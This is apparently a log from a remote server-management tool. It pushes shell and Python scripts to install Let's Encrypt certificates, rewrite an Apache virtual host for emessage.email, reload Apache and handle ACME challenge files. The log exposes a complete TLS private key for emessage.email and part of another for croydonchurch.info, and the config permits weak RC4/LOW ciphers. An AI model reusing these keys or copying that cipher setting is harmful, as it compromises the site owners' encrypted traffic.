YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-08 06:00:19: 

chmod 755 /tmp/pkp131643; /tmp/pkp131643; rm /tmp/pkp131643

2025-09-08 06:00:19: 


dir=/etc/ssl/certs


2025-09-08 06:00:19: 

PUT: /tmp/pkp540742

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_venus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-08 06:00:19: 

chmod 755 /tmp/pkp540742; /tmp/pkp540742; rm /tmp/pkp540742

2025-09-08 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 49

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-08 06:00:19: 

PUT: /tmp/pkp477846

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_venus_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_venus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_venus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf= 1'
fi


2025-09-08 06:00:19: 

chmod 755 /tmp/pkp477846; /tmp/pkp477846; rm /tmp/pkp477846

2025-09-08 06:00:19: 




2025-09-08 06:00:19: 

PUT: /tmp/pkp316337

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-08 06:00:19: 

chmod 755 /tmp/pkp316337; /tmp/pkp316337; rm /tmp/pkp316337

2025-09-08 06:00:19: 


.


2025-09-08 06:00:19: Establishing a connection
2025-09-08 06:00:19: 

PUT: /tmp/pkp174801

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-08 06:00:19: 

chmod 755 /tmp/pkp174801; /tmp/pkp174801; rm /tmp/pkp174801

2025-09-08 06:00:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-09-08 06:00:19: 

PUT: /tmp/pkp439795

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_venus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-08 06:00:19: 

chmod 755 /tmp/pkp439795; /tmp/pkp439795; rm /tmp/pkp439795

2025-09-08 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf	1644

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-08 06:00:19: 

PUT: /tmp/pkp871886

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-08 06:00:19: 

chmod 755 /tmp/pkp871886; /tmp/pkp871886; rm /tmp/pkp871886

2025-09-08 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt	5398
f7:01:e7:3b:30:f2:f5:f8:fb:73:de:e0:d7:97:65:3a

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBlYIsPhhqsK8KLN1X0BQB/3aMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMTQ4WhcNMjUxMjA3MDUwMTQ3WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKj9F1JpSO9rA5vUWjcDKjFwhi+/yVCZn7vAJXH/C+GB06WRwxoohq6Eu1Qw6ow3
49Sv0bUYdJLigWhfecmBLGdJ2mmWhT9yvRg8byQt8QMOi4NbblbYzQSSStQtvJqw
D/AuO85XBxOiNg3Kb8vfVAtqwrXC4dZUlg4Z/VD/9BKZktDVq5YZhufY+ADopoJ6
+RiZapKmARuP3VWPBhtaJAAyQIIB6g3MD2Ma0pwXi/AQegS0Z13IR0qsY/lXVuvK
n1nzft5zpWWg2DH4zzziUJkIWO8ZgMW/81F6ox9Fxwy14b3SQPWaBh59tyHoTKbf
jP5WfNdFih6x46JZe8uS3tUCAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUgbZz/SYricIfGhFKo+1RNIt2ar4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
OTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZJ+kxoQAABAMARzBFAiATChihJli0R0dl9TLK
Rjsx4VbMmmL01vn8SsXe9DPMYAIhAKiji0m/wlhPtv4Pq+RTpWd30WHrSvnYvxcz
LYqXUpexAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZJ+kx
1QAABAMARzBFAiEAxQBk2l/Wikus7++X6KpW4UqDusqoz4Q/jJEnJPIfL1oCIA7h
ZjMhIP2pyUasuvKPYF8/mJJMoqyNpblkfBB8uOmRMA0GCSqGSIb3DQEBCwUAA4IB
AQAhjjajYwn7AXyXJsq+wVl1SQHJ3Zd4mshZxH1vEwzLphND9aS38DmOUfKZhvgx
gNOvlxdIsE7QrRAgle3gZFkHGhhTl7pWlOrVuK/OYPwrnN1niYFfiolLf6RAU1+s
ElJOTkY/Ti0hhurt15ODuwYCCdh8bdwBH+D/B8RMp4D+5BH0MeWirQpcHJpNmfp4
IaIe/ImJ7VDWWM9vFWY5EFBD6IpNj5W84OOU+Biz5SauXJMxXNjgtWVv6IEImdQX
WC/cwPNCXll494iJTc8c8/d5MjBwwHhu7x78yP2M2vNwb+2jO6QVB0TbtARNGjvl
GyLzkKzGp7wUZsXiQzxDII06
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCo/RdSaUjvawOb
1Fo3AyoxcIYvv8lQmZ+7wCVx/wvhgdOlkcMaKIauhLtUMOqMN+PUr9G1GHSS4oFo
X3nJgSxnSdpploU/cr0YPG8kLfEDDouDW25W2M0EkkrULbyasA/wLjvOVwcTojYN
ym/L31QLasK1wuHWVJYOGf1Q//QSmZLQ1auWGYbn2PgA6KaCevkYmWqSpgEbj91V
jwYbWiQAMkCCAeoNzA9jGtKcF4vwEHoEtGddyEdKrGP5V1bryp9Z837ec6VloNgx
+M884lCZCFjvGYDFv/NReqMfRccMteG90kD1mgYefbch6Eym34z+VnzXRYoeseOi
WXvLkt7VAgMBAAECggEAN4IC4iARRAtbwRjslTtl5Z13hkGyB9aeYFaKNjq3lVhG
xBDwDCyZqMOSoOH8eRh2rssd0CV7TTA3n6gU4fqbMkZRBvPZSvEOaeKYA0NP8lgZ
vYkP4lkOZt0C1VU8qXcBlTwqiumNOobCyJ7hQA9YlPN5h6i+898O9wzUZ4Hbkyv0
CSKZ3o5rZLX21NKjbw7/yOEPZodd3rpkfmYYAJiWZqn2zkus+daM845kAULLM3Ne
Hubkf81zN9pMoK6UngPRdrqRmLWyu6+43PPOfH+hdrn2BdT6Lnduji89/jVYH6LR
81WbwOnrP8oqdRlqVmBrrlTUh3oPi1nlQRRLfWIbFQKBgQDY/539jw7GhaX9PVwt
4nMJcdUqYSqErLTOya9mXug44C1of1qjcX92vTws7lZobxfz3DIoM+vRWjtvUtac
KvNlxKU7rWluLokiwVEcskeFPpNR0uU7haDWKDNXy0Bi5CH/oDSFbupI4YRbep8Z
1B0E6ua4RK8VPG+IP7dEMuaYIwKBgQDHXHpGcil+Nvehvhi5D0/EFJdqGAY2waUc
pBQogpti0890b2mNilwYF/tP7eoW4ihe72EWQi5WUI73KOufntYQ0pvaq0leemh2
CRpkFgOBFVLaX/D2HZRqsKXkscw12eOBYkxFX1n712MljawHMaAmpbn2xvQI6TwP
Ewif6s3gpwKBgQDP7RcpGAQTa4qivkHuYZbTDPUxt4szN/3ES3M7R2OC5CP+hlGG
XUHCuA7KCtJXHWQ5MdwJs76Zirl6sUicuXciI6wkI8TrY8HZwJ0FPzrSzSQCem9W
enOj4T9ZN5OJbom5VHwfAymRDi5yLWv4Jsxrot3S4VVWpuNEDbGAsrlMOwKBgQCF
GeX9IH05aiN8ljlVXLapuAG7cJy9dB3zeEyJG2H44mdQWo4DVMvVvjUokTRH4OiJ
MZMFVFwxfolk1KozoM1U3/f0T4WlkV4q6Dr5dYUTapQtff6XovoTHSs0+8vWbEmr
eWBotJeUP6JPUT34c5Z0FxOIgh4t0OIrQk7wzch0YwKBgQCRdw7MsM55LJyUnR1E
L44ZRaVVr1dFek/NQ3SmddzfnmzIGxIRw8ctSJfSxsnA9vSzqAH66McYYWQMChJy
qMDpnoQWSpMdhuUTkr30gMFsIIfaTf6cHw8FKFfsrmRPtYjrCekb0PIiHMyToC+x
RHrJkNPqszY87XVZzUbeAKCSJQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-08 06:00:19: Establishing a connection
2025-09-08 06:00:19: Establishing a connection
2025-09-08 06:00:20: 

PUT: /tmp/pkp394887

#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-08 06:00:20: 

chmod 755 /tmp/pkp394887; /tmp/pkp394887; rm /tmp/pkp394887

2025-09-08 06:00:20: 


1


2025-09-08 06:00:21: Establishing a connection
2025-09-08 06:00:21: 

PUT: /tmp/pkp527252

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cat > l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us
cat > xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg


2025-09-08 06:00:21: 

chmod 755 /tmp/pkp527252; /tmp/pkp527252; rm /tmp/pkp527252

2025-09-08 06:00:21: 




2025-09-08 06:00:31: Establishing a connection
2025-09-08 06:00:31: 

PUT: /tmp/pkp737690

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
rm l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us
rm xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg


2025-09-08 06:00:31: 

chmod 755 /tmp/pkp737690; /tmp/pkp737690; rm /tmp/pkp737690

2025-09-08 06:00:31: 




2025-09-08 06:00:31: Establishing a connection
2025-09-08 06:00:31: 

PUT: /tmp/pkp953403

#!/bin/bash
temp_file=$(mktemp)
TARGET=0bcccb20615b0c7868de66072345a8b6.crt

cat > $temp_file <<'endmsg'
70:b6:7b:c9:40:c6:98:a4:a7:2e:b0:f2:ba:4f:50:3a

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBi5hvyT2dhpBqAw7vwSGrPBOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMjAwWhcNMjUxMjA3MDUwMTU5WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwW0AVMh3Z56HHAnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1
j77y2r40d6g7gbdSBScHw4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd
4RXBh6ine1Gxcsz2KGxmVUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPw
qk8AlQUQkc6BVrfwjVAv46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qn
ZzkpQ0umUj8ICTDTm5MDS7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H
1zsZNt1WKK5bpDJl8MIGV8tUNQ+pAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFMevk5OIdGKTMQK/2+5pbsAUCoxWMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZJ+ljRAAABAMARzBFAiEA0FDDr6LQkDgh3UQAtPjKypis
X9IqLhn/iO9Y5v+SYwACIBUG0xT6DfBqSysAEqcmivm6a6tt/rbtEc5CBra6mDb0
AHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZJ+ljLwAABAMA
RjBEAiBdaWfMMlira4PfPyO8mFuOo01+8IE4m8fQBx+CvUxYtAIgaemfrwQO07X+
SV2CuZVV/Jt4Cjxmu/488gIdQo8TDC4wDQYJKoZIhvcNAQELBQADggEBAAxJKmGc
o0S1LtXo13gPDyedhc01omNnlIp6oMc5T+5FJQhN4rPdepCb9njXny1IvgM48RUw
xIOTvEpckiwxnQQFpG2jrKF3K0DboO8fxKahhm3XYx6XgVTD7PG7pyQ3dejfJ6Od
45s3kHkAeTfMmzVXDCy6eUfPqIrEa5c8yp/6QyOEo28sItxa38nxnznH1p4OSELd
qOjk7PmaACGYaUvOVHPGLjD3t3jl1p33wTQxBgN+tf6ApO//bUC+La4+JykYdWI3
de9XTyrIupnp1j4gLxaAUIdaOKT8JLOf91VKfvTZhqzT8vzNOZtC6LOIsbVAF2pT
L5h/TKhxRauCSAQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwW0AVMh3Z56HH
AnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1j77y2r40d6g7gbdSBScH
w4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd4RXBh6ine1Gxcsz2KGxm
VUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPwqk8AlQUQkc6BVrfwjVAv
